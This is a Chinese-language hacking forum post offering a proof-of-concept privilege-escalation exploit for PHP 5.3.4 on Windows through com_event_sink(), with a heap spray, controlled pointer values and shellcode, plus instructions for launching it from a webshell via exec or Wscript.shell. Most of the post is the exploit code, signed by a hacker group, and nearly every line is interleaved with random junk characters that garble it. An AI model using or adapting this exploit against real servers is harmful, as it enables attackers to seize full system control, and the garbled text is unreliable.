|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中/ \; X2 S7 @$ z% |
0 S! n1 w; R; r; D5 o! x测试方法如下:cmd /c x:\php\php.exe x:\test.php$ X4 ?) d2 X; E
! M" c- o5 H! t! v; h下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php$ D+ {6 ^- Y" ^7 p7 w
这里是两个测试的截图:
, _7 q% X& `* C% f' H/ v# j5 s4 \' U- U
& U& r4 F9 A6 w1 n. Y5 m3 Z0 r# e: ]/ m- g' \+ s! q. }
, v! I; g* h s5 _$ ~4 n
' p% [! l7 k K成功利用此漏洞的攻击者将获得系统的最高权限
( w, c' v, w; u! ]- R9 Q
0 L+ L6 z# U7 E4 V$ t4 o. N4 f$ x! O8 c* ]& k; E
6 z+ e; A; |* _
+ F, N! `% }/ m) r
3 A6 M' J3 u5 x2 Y9 h关于漏洞分析稍后附上。一下是PoC代码:2 }% p; E# X8 e' V+ y1 j" t
2 ^) D% |: r1 S# W( s6 i
<?php
7 f( V2 G9 k' ?* Y" F" C//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
0 l; K) @" C$ w% G9 d% y//$eip ="\x44\x43\x42\x41";3 s; J* i5 h A P& y; y
$eip= "\x4b\xe8\x57\x78";
7 o* P) k8 ?2 N& f7 b$eax ="\x80\x01\x8d\x04";7 r. S: |7 D0 P
$deodrant="";
2 D' X7 _5 R. S3 {, ]1 F* W$axespray = str_repeat($eip.$eax,0x80);% K; ?- J3 e4 i
//048d0190/ S( n; b9 a& \
echo strlen($axespray);! v' Q# m, p5 G# H3 G. [6 \2 ?
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";. v) a* s7 ]% r7 N- m; ~
echo "Silic Group Hacker Army - BlackBap.Org";/ R. P& B$ b( v% ^+ l/ k
//19200 ==4B32 4b00
1 c% j: x4 m' a4 Qfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}6 j' S$ ], \9 f7 l. k4 L$ H% y6 ^( s
$terminate = "T";" W! A* A% f( a. g( n
$u[] =$deodrant;
$ x+ P4 \3 g; r4 M$r[] =$deodrant.$terminate;+ k+ ?' F* V9 U
$a[] =$deodrant.$terminate;
+ B- {* }; q2 E4 `) |4 `, I$s[] =$deodrant.$terminate;
1 S$ B l) E- R; s( \$ f$ u//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的/ E8 c7 t" `0 N5 e
$vVar = new VARIANT(0x048d0000+180);* _4 J& g' h( r9 U; Y B
//弹窗代码(Shellcode)* z: _. U/ u: V: i3 ?6 H; K) x1 \
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";' W: f5 b) x& o3 q }
$var2 = new VARIANT(0x41414242);7 G0 H0 ~# @$ |
com_event_sink($vVar,$var2,$buffer);
\% I8 a" L1 f1 t?>
; C* O9 u4 v8 O _5 J3 f/ y; g2 } |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|